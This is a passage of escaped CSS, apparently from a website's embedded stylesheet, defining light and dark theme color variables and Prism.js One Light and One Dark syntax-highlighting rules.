#37352F;\n --color-text-default-light: #7d7c78;\n --color-bg-default: #ffffff;\n --color-border-default: #E9E9E7;\n --color-border-dark: var(--color-border-default);\n --color-ui-hover-bg: #efefef;\n --color-card-bg: #ffffff;\n --color-card-bg-hover: #f9f9f8;\n --color-calendar-weekend-bg: #f7f6f3;\n --color-checkbox-bg: #2EAADC;\n --color-code-bg: rgba(135,131,120,.15);\n\n /*Scrollbar*/\n --scrollbar-background-color: #FAFAFA;\n --scrollbar-thumb-color: #C1C1C1;\n --scrollbar-border-color: #E8E8E8;\n\n /*Navbar*/\n --navbar-text-color: #37352F;\n --navbar-list-item-hover: rgba(130, 130, 130, 0.09);
872\n --navbar-background-color-hover: #f0f0f0;\n --navbar-background-color: #ffffff;\n --navbar-button-text-color: #ffffff;\n --navbar-button-background-color: #37352F;\n --navbar-menu-background-color: var(--navbar-background-color);\n --navbar-text-color-dark: #282620;\n\n /*Footer*/\n --footer-text-color: #37352F;\n --footer-background-color: #ffffff;\n\n /*Sidebar*/\n --sidebar-text-color: #37352F;\n --sidebar-cta-text-color: #37352F;\n --sidebar-background-color: #ffffff;\n --sidebar-cta-background-color: #ffffff;\n --sidebar-border-color: #E9E9E7;\n --sidebar-background-color-hover: #efefef;\n --sidebar-text-color-dark: #282620;\n --sidebar-cta-background-color-hover: #efefef;\n }\n\n \n /**\n * One Light theme for prism.js\n * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax\n */\n \n /**\n * One Light colours (accurate as of commit eb064bf on 19 Feb 2021)\n * From colors.less\n * --mono-1: hsl(230, 8%, 24%);\n * --mono-2: hsl(230, 6%, 44%);\n * --mono-3: hsl(230, 4%, 64%)\n * --hue-1: hsl(198, 99%, 37%);\n * --hue-2: hsl(221, 87%, 60%);\n * --hue-3: hsl(301, 63%, 40%);\n * --hue-4: hsl(119, 34%, 47%);\n * --hue-5: hsl(5, 74%, 59%);\n * --hue-5-2: hsl(344, 84%, 43%);\n * --hue-6: hsl(35, 99%, 36%);\n * --hue-6-2: hsl(35, 99%, 40%);\n * --syntax-fg: hsl(230, 8%, 24%);\n * --syntax-bg: hsl(230, 1%, 98%);\n * --syntax-gutter: hsl(230, 1%, 62%);\n * --syntax-guide: hsla(230, 8%, 24%, 0.2);\n * --syntax-accent: hsl(230, 100%, 66%);\n * From syntax-variables.less\n * --syntax-selection-color: hsl(230, 1%, 90%);\n * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%);\n * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05);\n */\n \n html.theme-light code[class*=\"language-\"],\n html.theme-light pre[class*=\"language-\"] {\n color: hsl(230, 8%, 24%);\n font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n direction: ltr;\n text-align: left;\n white-space: pre;\n word-spacing: normal;\n word-break: normal;\n line-height: 1.5;\n -moz-tab-size: 2;\n -o-tab-size: 2;\n tab-size: 2;\n -webkit-hyphens: none;\n -moz-hyphens: none;\n -ms-hyphens: none;\n hyphens: none;\n }\n \n /* Selection */\n html.theme-light code[class*=\"language-\"]::-moz-selection,\n html.theme-light code[class*=\"language-\"] *::-moz-selection,\n html.theme-light pre[class*=\"language-\"] *::-moz-selection {\n background: hsl(230, 1%, 90%);\n color: inherit;\n }\n \n html.theme-light code[class*=\"language-\"]::selection,\n html.theme-light code[class*=\"language-\"] *::selection,\n html.theme-light pre[class*=\"language-\"] *::selection {\n background: hsl(230, 1%, 90%);\n color: inherit;\n }\n \n /* Code blocks */\n html.theme-light pre[class*=\"language-\"] {\n padding: 1em;\n margin: 0.5em 0;\n overflow: auto;\n border-radius: 0.3em;\n }\n \n /* Inline code */\n html.theme-light :not(pre) \u003e code[class*=\"language-\"] {\n padding: 0.2em 0.3em;\n border-radius: 0.3em;\n white-space: normal;\n }\n \n html.theme-light .token.comment,\n html.theme-light .token.prolog,\n html.theme-light .token.cdata {\n color: hsl(230, 4%, 64%);\n }\n \n html.theme-light .token.doctype,\n html.theme-light .token.punctuation,\n html.theme-light .token.entity {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .token.attr-name,\n html.theme-light .token.class-name,\n html.theme-light .token.boolean,\n html.theme-light .token.constant,\n html.theme-light .token.number,\n html.theme-light .token.atrule {\n color: hsl(35, 99%, 36%);\n }\n \n html.theme-light .token.keyword {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .token.property,\n html.theme-light .token.tag,\n html.theme-light .token.symbol,\n html.theme-light .token.deleted,\n html.theme-light .token.important {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .token.selector,\n html.theme-light .token.string,\n html.theme-light .token.char,\n html.theme-light .token.builtin,\n html.theme-light .token.inserted,\n html.theme-light .token.regex,\n html.theme-light .token.attr-value,\n html.theme-light .token.attr-value \u003e .token.punctuation {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .token.variable,\n html.theme-light .token.operator,\n html.theme-light .token.function {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .token.url {\n color: hsl(198, 99%, 37%);\n }\n \n /* HTML overrides */\n html.theme-light .token.attr-value \u003e .token.punctuation.attr-equals,\n html.theme-light .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n color: hsl(230, 8%, 24%);\n }\n \n /* CSS overrides */\n html.theme-light .language-css .token.selector {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .language-css .token.property {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-css .token.function,\n html.theme-light .language-css .token.url \u003e .token.function {\n color: hsl(198, 99%, 37%);\n }\n \n html.theme-light .language-css .token.url \u003e .token.string.url {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .language-css .token.important,\n html.theme-light .language-css .token.atrule .token.rule {\n color: hsl(301, 63%, 40%);\n }\n \n /* JS overrides */\n html.theme-light .language-javascript .token.operator {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n color: hsl(344, 84%, 43%);\n }\n \n /* JSON overrides */\n html.theme-light .language-json .token.operator {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-json .token.null.keyword {\n color: hsl(35, 99%, 36%);\n }\n \n /* MD overrides */\n html.theme-light .language-markdown .token.url,\n html.theme-light .language-markdown .token.url \u003e .token.operator,\n html.theme-light .language-markdown .token.url-reference.url \u003e .token.string {\n color: hsl(230, 8%, 24%);\n }\n \n html.theme-light .language-markdown .token.url \u003e .token.content {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .language-markdown .token.url \u003e .token.url,\n html.theme-light .language-markdown .token.url-reference.url {\n color: hsl(198, 99%, 37%);\n }\n \n html.theme-light .language-markdown .token.blockquote.punctuation,\n html.theme-light .language-markdown .token.hr.punctuation {\n color: hsl(230, 4%, 64%);\n font-style: italic;\n }\n \n html.theme-light .language-markdown .token.code-snippet {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .language-markdown .token.bold .token.content {\n color: hsl(35, 99%, 36%);\n }\n \n html.theme-light .language-markdown .token.italic .token.content {\n color: hsl(301, 63%, 40%);\n }\n \n html.theme-light .language-markdown .token.strike .token.content,\n html.theme-light .language-markdown .token.strike .token.punctuation,\n html.theme-light .language-markdown .token.list.punctuation,\n html.theme-light .language-markdown .token.title.important \u003e .token.punctuation {\n color: hsl(5, 74%, 59%);\n }\n \n /* General */\n html.theme-light .token.bold {\n font-weight: bold;\n }\n \n html.theme-light .token.comment,\n html.theme-light .token.italic {\n font-style: italic;\n }\n \n html.theme-light .token.entity {\n cursor: help;\n }\n \n html.theme-light .token.namespace {\n opacity: 0.8;\n }\n \n /* Plugin overrides */\n /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n \n /* Show Invisibles plugin overrides */\n html.theme-light .token.token.tab:not(:empty):before,\n html.theme-light .token.token.cr:before,\n html.theme-light .token.token.lf:before,\n html.theme-light .token.token.space:before {\n color: hsla(230, 8%, 24%, 0.2);\n }\n \n /* Toolbar plugin overrides */\n /* Space out all buttons and move them away from the right edge of the code block */\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n margin-right: 0.4em;\n }\n \n /* Styling the buttons */\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n background: hsl(230, 1%, 90%);\n color: hsl(230, 6%, 44%);\n padding: 0.1em 0.4em;\n border-radius: 0.3em;\n }\n \n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */\n color: hsl(230, 8%, 24%);\n }\n \n /* Line Highlight plugin overrides */\n /* The highlighted line itself */\n html.theme-light .line-highlight.line-highlight {\n background: hsla(230, 8%, 24%, 0.05);\n }\n \n /* Default line numbers in Line Highlight plugin */\n html.theme-light .line-highlight.line-highlight:before,\n html.theme-light .line-highlight.line-highlight[data-end]:after {\n background: hsl(230, 1%, 90%);\n color: hsl(230, 8%, 24%);\n padding: 0.1em 0.6em;\n border-radius: 0.3em;\n box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n }\n \n /* Hovering over a linkable line number (in the gutter area) */\n /* Requires Line Numbers plugin as well */\n html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n background-color: hsla(230, 8%, 24%, 0.05);\n }\n \n /* Line Numbers and Command Line plugins overrides */\n /* Line separating gutter from coding area */\n html.theme-light .line-numbers.line-numbers .line-numbers-rows,\n html.theme-light .command-line .command-line-prompt {\n border-right-color: hsla(230, 8%, 24%, 0.2);\n }\n \n /* Stuff in the gutter */\n html.theme-light .line-numbers .line-numbers-rows \u003e span:before,\n html.theme-light .command-line .command-line-prompt \u003e span:before {\n color: hsl(230, 1%, 62%);\n }\n \n /* Match Braces plugin overrides */\n /* Note: Outline colour is inherited from the braces */\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 {\n color: hsl(5, 74%, 59%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 {\n color: hsl(119, 34%, 47%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 {\n color: hsl(221, 87%, 60%);\n }\n \n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8,\n html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 {\n color: hsl(301, 63%, 40%);\n }\n \n /* Diff Highlight plugin overrides */\n /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n background-color: hsla(353, 100%, 66%, 0.15);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n background-color: hsla(353, 95%, 66%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n background-color: hsla(137, 100%, 55%, 0.15);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n \n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n background-color: hsla(135, 73%, 55%, 0.25);\n }\n \n /* Previewers plugin overrides */\n /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */\n /* Border around popup */\n html.theme-light .prism-previewer.prism-previewer:before,\n html.theme-light .prism-previewer-gradient.prism-previewer-gradient div {\n border-color: hsl(0, 0, 95%);\n }\n \n /* Angle and time should remain as circles and are hence not included */\n html.theme-light .prism-previewer-color.prism-previewer-color:before,\n html.theme-light .prism-previewer-gradient.prism-previewer-gradient div,\n html.theme-light .prism-previewer-easing.prism-previewer-easing:before {\n border-radius: 0.3em;\n }\n \n /* Triangles pointing to the code */\n html.theme-light .prism-previewer.prism-previewer:after {\n border-top-color: hsl(0, 0, 95%);\n }\n \n html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after {\n border-bottom-color: hsl(0, 0, 95%);\n }
872\n \n /* Background colour within the popup */\n html.theme-light .prism-previewer-angle.prism-previewer-angle:before,\n html.theme-light .prism-previewer-time.prism-previewer-time:before,\n html.theme-light .prism-previewer-easing.prism-previewer-easing {\n background: hsl(0, 0%, 100%);\n }\n \n /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n /* For time, this is the alternate colour */\n html.theme-light .prism-previewer-angle.prism-previewer-angle circle,\n html.theme-light .prism-previewer-time.prism-previewer-time circle {\n stroke: hsl(230, 8%, 24%);\n stroke-opacity: 1;\n }\n \n /* Stroke colours of the handle, direction point, and vector itself */\n html.theme-light .prism-previewer-easing.prism-previewer-easing circle,\n html.theme-light .prism-previewer-easing.prism-previewer-easing path,\n html.theme-light .prism-previewer-easing.prism-previewer-easing line {\n stroke: hsl(230, 8%, 24%);\n }\n \n /* Fill colour of the handle */\n html.theme-light .prism-previewer-easing.prism-previewer-easing circle {\n fill: transparent;\n }\n \n 1d:T5f9c,\n html.theme-dark {\n /* Gray */\n --gray-h: 0;\n --gray-s: 0%;\n --gray-l: 61%;\n --color-gray: hsl(var(--gray-h), var(--gray-s), var(--gray-l));\n --color-text-gray: var(--color-gray);\n --color-bg-gray: hsl(\n var(--gray-h),\n var(--gray-s),\n 14.5%\n );\n --color-bg-gray-light: hsl(\n var(--gray-h),\n var(--gray-s),\n 14.5%\n );\n --color-pill-gray: hsl(\n var(--gray-h),\n var(--gray-s),\n 35%\n );\n --color-pill-text-gray: hsl(\n var(--gray-h),\n var(--gray-s),\n calc(var(--gray-l) + 26%)\n );\n --color-bg-form-btn-gray: #A7A39A;\n\n /* Brown */\n --brown-h: 18;\n --brown-s: 35%;\n --brown-l: 58%;\n --color-brown: hsl(var(--brown-h), var(--brown-s), var(--brown-l));\n --color-text-brown: var(--color-brown);\n --color-bg-brown: hsl(\n var(--brown-h),\n calc(var(--brown-s) - 7%),\n 22%\n );\n --color-bg-brown-light: hsl(\n calc(var(--brown-h) - 2),\n calc(var(--brown-s) - 22%),\n 16%\n );\n --color-pill-brown: hsl(\n var(--brown-h),\n calc(var(--brown-s) + 2%),\n 27%\n );\n --color-pill-text-brown: hsl(\n var(--brown-h),\n calc(var(--brown-s) - 21%),\n calc(var(--brown-l) + 33%)\n );\n --color-bg-form-btn-brown: #9A6851;\n\n /* Orange */\n --orange-h: 25;\n --orange-s: 54%;\n --orange-l: 53%;\n --color-orange: hsl(\n var(--orange-h),\n var(--orange-s),\n var(--orange-l)\n );\n --color-text-orange: var(--color-orange);\n --color-bg-orange: hsl(\n var(--orange-h),\n calc(var(--orange-s) - 10%),\n 25%\n );\n --color-bg-orange-light: hsl(\n var(--orange-h),\n calc(var(--orange-s) - 30%),\n 17%\n );\n --color-pill-orange: hsl(\n var(--orange-h),\n calc(var(--orange-s) + 9%),\n 32%\n );\n --color-pill-text-orange: hsl(\n var(--orange-h),\n calc(var(--orange-s) - 23%),\n calc(var(--orange-l) + 33%)\n );\n --color-bg-form-btn-orange: #D9730D;\n\n /* Yellow */\n --yellow-h: 38;\n --yellow-s: 54%;\n --yellow-l: 54%;\n --color-yellow: hsl(\n var(--yellow-h),\n var(--yellow-s),\n var(--yellow-l)\n );\n --color-text-yellow: var(--color-yellow);\n --color-bg-yellow: hsl(\n var(--yellow-h),\n calc(var(--yellow-s) - 18%),\n 25%\n );\n --color-bg-yellow-light: hsl(\n var(--yellow-h),\n calc(var(--yellow-s) - 24%),\n 17%\n );\n --color-pill-yellow: hsl(\n calc(var(--yellow-h) - 1),\n calc(var(--yellow-s) + 2%),\n 35%\n );\n --color-pill-text-yellow: hsl(\n var(--yellow-h),\n calc(var(--yellow-s) - 28%),\n calc(var(--yellow-l) + 33%)\n );\n --color-bg-form-btn-yellow: #CA922F;\n\n /* Green */\n --green-h: 146;\n --green-s: 32%;\n --green-l: 47%;\n --color-green: hsl(var(--green-h), var(--green-s), var(--green-l));\n --color-text-green: var(--color-green);\n --color-bg-green: hsl(\n calc(var(--green-h) + 3),\n calc(var(--green-s) - 6%),\n 19%\n );
872\n --color-bg-green-light: hsl(\n var(--green-h),\n calc(var(--green-s) - 20%),\n 15%\n );\n --color-pill-green: hsl(\n calc(var(--green-h) + 1),\n calc(var(--green-s) + 3%),\n 26%\n );\n --color-pill-text-green: hsl(\n var(--green-h),\n calc(var(--green-s) - 20%),\n calc(var(--green-l) + 38%)\n );\n --color-bg-form-btn-green: #448361;\n\n /* Blue */\n --blue-h: 217;\n --blue-s: 50%;\n --blue-l: 58%;\n --color-blue: hsl(var(--blue-h), var(--blue-s), var(--blue-l));\n --color-text-blue: var(--color-blue);\n --color-bg-blue: hsl(\n calc(var(--blue-h) - 16),\n calc(var(--blue-s) + 9%),\n 19%\n );\n --color-bg-blue-light: hsl(\n calc(var(--blue-h) + 16),\n calc(var(--blue-s) - 27%),\n 15%\n );\n --color-pill-blue: hsl(\n calc(var(--blue-h) - 3),\n calc(var(--blue-s) - 6%),\n 29%\n );\n --color-pill-text-blue: hsl(\n calc(var(--blue-h) - 5),\n calc(var(--blue-s) - 32%),\n calc(var(--blue-l) + 28%)\n );\n --color-bg-form-btn-blue: #327DA9;\n\n /* Purple */\n --purple-h: 270;\n --purple-s: 55%;\n --purple-l: 62%;\n --color-purple: hsl(\n var(--purple-h),\n var(--purple-s),\n var(--purple-l)\n );\n --color-text-purple: var(--color-purple);\n --color-bg-purple: hsl(\n calc(var(--purple-h) + 2),\n calc(var(--purple-s) - 31%),\n 23%\n );\n --color-bg-purple-light: hsl(\n calc(var(--purple-h) + 5),\n calc(var(--purple-s) - 40%),\n 17%\n );\n --color-pill-purple: hsl(\n var(--purple-h),\n calc(var(--purple-s) - 19%),\n 29%\n );\n --color-pill-text-purple: hsl(\n calc(var(--purple-h) - 3),\n calc(var(--purple-s) - 40%),\n calc(var(--purple-l) + 24%)\n );\n --color-bg-form-btn-purple: #8F64AF;\n\n /* Pink */\n --pink-h: 329;\n --pink-s: 57%;\n --pink-l: 58%;\n --color-pink: hsl(var(--pink-h), var(--pink-s), var(--pink-l));\n --color-text-pink: var(--color-pink);\n --color-bg-pink: hsl(\n calc(var(--pink-h) + 3),\n calc(var(--pink-s) - 29%),\n 24%\n );\n --color-bg-pink-light: hsl(\n calc(var(--pink-h) + 5),\n calc(var(--pink-s) - 40%),\n 16%\n );\n --color-pill-pink: hsl(\n calc(var(--pink-h) - 2),\n calc(var(--pink-s) - 21%),\n 30%\n );\n --color-pill-text-pink: hsl(\n calc(var(--pink-h) + 4),\n calc(var(--pink-s) - 41%),\n calc(var(--pink-l) + 28%)\n );\n --color-bg-form-btn-pink: #C24C8B;\n\n /* Red */\n --red-h: 1;\n --red-s: 69%;\n --red-l: 60%;\n --color-red: hsl(var(--red-h), var(--red-s), var(--red-l));\n --color-text-red: var(--color-red);\n --color-bg-red: hsl(\n calc(var(--red-h) + 5),\n calc(var(--red-s) - 37%),\n 24%\n );\n --color-bg-red-light: hsl(\n calc(var(--red-h) + 5),\n calc(var(--red-s) - 56%),\n 17%\n );\n --color-pill-red: hsl(\n calc(var(--red-h) + 5),\n calc(var(--red-s) - 30%),\n 31%\n );\n --color-pill-text-red: hsl(\n calc(var(--red-h) + 7),\n calc(var(--red-s) - 50%),\n calc(var(--red-l) + 24%)\n );\n --color-bg-form-btn-red: #D44E49;\n\n /*Default*/\n --default-h: 45;\n --default-s: 8%;\n --default-l: 20%;\n --color-default: hsl(\n var(--default-h),\n var(--default-s),\n var(--default-l)\n );\n --color-pill-default: hsl(\n var(--default-h),\n var(--default-s),\n -19%\n );\n --color-pill-text-default: hsl(\n var(--default-h),\n var(--default-s),\n calc(var(--default-l) + 23%)\n );\n --color-bg-form-btn-default: #55534E;\n\n /*Other*/\n --color-text-default: #e1e1e1;\n --color-text-default-light: #9b9b9b;\n --color-bg-default: #191919;\n --color-border-default: #373737;\n --color-border-dark: var(--color-border-default);\n --color-ui-hover-bg: #292929;\n --color-card-bg: #212121;\n --color-card-bg-hover: #292929;\n --color-calendar-weekend-bg: #202020;\n --color-checkbox-bg: #2EAADC;\n --color-code-bg: rgba(135,131,120,.15);\n\n /*Scrollbar*/\n --scrollbar-background-color: #FAFAFA;\n --scrollbar-thumb-color: #C1C1C1;\n --scrollbar-border-color: #E8E8E8;\n\n /*Navbar*/\n --navbar-text-color: #e1e1e1;\n --navbar-list-item-hover: rgba(255,255,255,.2);\n --navbar-background-color: #191919;\n --navbar-background-color-hover: #282828;\n --navbar-button-text-color: #191919;\n --navbar-button-background-color: #e1e1e1;\n --navbar-menu-background-color: var(--navbar-background-color);\n --navbar-text-color-dark: #d2d2d2;
872\n\n /*Footer*/\n --footer-text-color: #e1e1e1;\n --footer-background-color: #191919;\n\n /*Sidebar*/\n --sidebar-text-color: #e1e1e1;\n --sidebar-cta-text-color: #e1e1e1;\n --sidebar-background-color: #191919;\n --sidebar-cta-background-color: #191919;\n --sidebar-border-color: #373737;\n --sidebar-background-color-hover: #292929;\n --sidebar-text-color-dark: #d2d2d2;\n --sidebar-cta-background-color-hover: #292929;\n }\n\n /* Calendar for dark mode */\n html.theme-dark .notion-collection-calendar__row {\n box-shadow: var(--color-border-default) -1px 0px 0px;\n }\n\n html.theme-dark .notion-collection-calendar__week-days {\n box-shadow: var(--color-border-default) 0px 1px 0px;\n }\n\n html.theme-dark .notion-collection-calendar__date {\n border-right: 1px solid var(--color-border-default);\n border-bottom: 1px solid var(--color-border-default);\n }\n\n \n /**\n * One Dark theme for prism.js\n * Based on Atom's One Dark theme: https://github.com/atom/atom/tree/master/packages/one-dark-syntax\n */\n\n /**\n * One Dark colours (accurate as of commit 8ae45ca on 6 Sep 2018)\n * From colors.less\n * --mono-1: hsl(220, 14%, 71%);\n * --mono-2: hsl(220, 9%, 55%);\n * --mono-3: hsl(220, 10%, 40%);\n * --hue-1: hsl(187, 47%, 55%);\n * --hue-2: hsl(207, 82%, 66%);\n * --hue-3: hsl(286, 60%, 67%);\n * --hue-4: hsl(95, 38%, 62%);\n * --hue-5: hsl(355, 65%, 65%);\n * --hue-5-2: hsl(5, 48%, 51%);\n * --hue-6: hsl(29, 54%, 61%);\n * --hue-6-2: hsl(39, 67%, 69%);\n * --syntax-fg: hsl(220, 14%, 71%);\n * --syntax-bg: hsl(220, 13%, 18%);\n * --syntax-gutter: hsl(220, 14%, 45%);\n * --syntax-guide: hsla(220, 14%, 71%, 0.15);\n * --syntax-accent: hsl(220, 100%, 66%);\n * From syntax-variables.less\n * --syntax-selection-color: hsl(220, 13%, 28%);\n * --syntax-gutter-background-color-selected: hsl(220, 13%, 26%);\n * --syntax-cursor-line: hsla(220, 100%, 80%, 0.04);\n */\n\n html.theme-dark code[class*=\"language-\"],\n html.theme-dark pre[class*=\"language-\"] {\n background: hsl(220, 13%, 18%);\n color: hsl(220, 14%, 71%);\n text-shadow: 0 1px rgba(0, 0, 0, 0.3);\n font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n direction: ltr;\n text-align: left;\n white-space: pre;\n word-spacing: normal;\n word-break: normal;\n line-height: 1.5;\n -moz-tab-size: 2;\n -o-tab-size: 2;\n tab-size: 2;\n -webkit-hyphens: none;\n -moz-hyphens: none;\n -ms-hyphens: none;\n hyphens: none;\n }\n\n /* Selection */\n html.theme-dark code[class*=\"language-\"]::-moz-selection,\n html.theme-dark code[class*=\"language-\"] *::-moz-selection,\n html.theme-dark pre[class*=\"language-\"] *::-moz-selection {\n background: hsl(220, 13%, 28%);\n color: inherit;\n text-shadow: none;\n }\n\n html.theme-dark code[class*=\"language-\"]::selection,\n html.theme-dark code[class*=\"language-\"] *::selection,\n html.theme-dark pre[class*=\"language-\"] *::selection {\n background: hsl(220, 13%, 28%);\n color: inherit;\n text-shadow: none;\n }\n\n /* Code blocks */\n html.theme-dark pre[class*=\"language-\"] {\n padding: 1em;\n margin: 0.5em 0;\n overflow: auto;\n border-radius: 0.3em;\n }\n\n /* Inline code */\n html.theme-dark :not(pre) \u003e code[class*=\"language-\"] {\n padding: 0.2em 0.3em;\n border-radius: 0.3em;\n white-space: normal;\n }\n\n /* Print */\n @media print {\n html.theme-dark code[class*=\"language-\"],\n html.theme-dark pre[class*=\"language-\"] {\n text-shadow: none;\n }\n }\n\n html.theme-dark .token.comment,\n html.theme-dark .token.prolog,\n html.theme-dark .token.cdata {\n color: hsl(220, 10%, 40%);\n }\n\n html.theme-dark .token.doctype,\n html.theme-dark .token.punctuation,\n html.theme-dark .token.entity {\n color: hsl(220, 14%, 71%);\n }\n\n html.theme-dark .token.attr-name,\n html.theme-dark .token.class-name,\n html.theme-dark .token.boolean,\n html.theme-dark .token.constant,\n html.theme-dark .token.number,\n html.theme-dark .token.atrule {\n color: hsl(29, 54%, 61%);\n }\n\n html.theme-dark .token.keyword {\n color: hsl(286, 60%, 67%);\n }\n\n html.theme-dark .token.property,\n html.theme-dark .token.tag,\n html.theme-dark .token.symbol,\n html.theme-dark .token.deleted,\n html.theme-dark .token.important {\n color: hsl(355, 65%, 65%);\n }\n\n html.theme-dark .token.selector,\n html.theme-dark .token.string,\n html.theme-dark .token.char,\n html.theme-dark .token.builtin,\n html.theme-dark .token.inserted,\n html.theme-dark .token.regex,\n html.theme-dark .token.attr-value,\n html.theme-dark .token.attr-value \u003e .token.punctuation {\n color: hsl(95, 38%, 62%);\n }\n\n html.theme-dark .token.variable,\n html.theme-dark .token.operator,\n html.theme-dark .token.function {\n color: hsl(207, 82%, 66%);\n }\n\n html.theme-dark .token.url {\n color: hsl(187, 47%, 55%);\n }\n\n /* HTML overrides */\n html.theme-dark .token.attr-value \u003e .token.punctuation.attr-equals,\n html.theme-dark .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n color: hsl(220, 14%, 71%);\n }\n\n /* CSS overrides */\n html.theme-dark .language-css .token.selector {\n color: hsl(355, 65%, 65%);\n }\n\n html.theme-dark .language-css .token.property {\n color: hsl(220, 14%, 71%);\n }\n\n html.theme-dark .language-css .token.function,\n html.theme-dark .language-css .token.url \u003e .token.function {\n color: hsl(187, 47%, 55%);\n }\n\n html.theme-dark .language-css .token.url \u003e .token.string.url {\n color: hsl(95, 38%, 62%);\n }\n\n html.theme-dark .language-css .token.important,\n html.theme-dark .language-css .token.atrule .token.rule {\n color: hsl(286, 60%, 67%);\n }\n\n /* JS overrides */\n html.theme-dark .language-javascript .token.operator {\n color: hsl(286, 60%, 67%);\n }\n\n html.theme-dark .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n color: hsl(5, 48%, 51%);\n }\n\n /* JSON overrides */\n html.theme-dark .language-json .token.operator {\n color: hsl(220, 14%, 71%);\n }\n\n html.theme-dark .language-json .token.null.keyword {\n color: hsl(29, 54%, 61%);\n }\n\n /* MD overrides */\n html.theme-dark .language-markdown .token.url,\n html.theme-dark .language-markdown .token.url \u003e .token.operator,\n html.theme-dark .language-markdown .token.url-reference.url \u003e .token.string {\n color: hsl(220, 14%, 71%);\n }\n\n 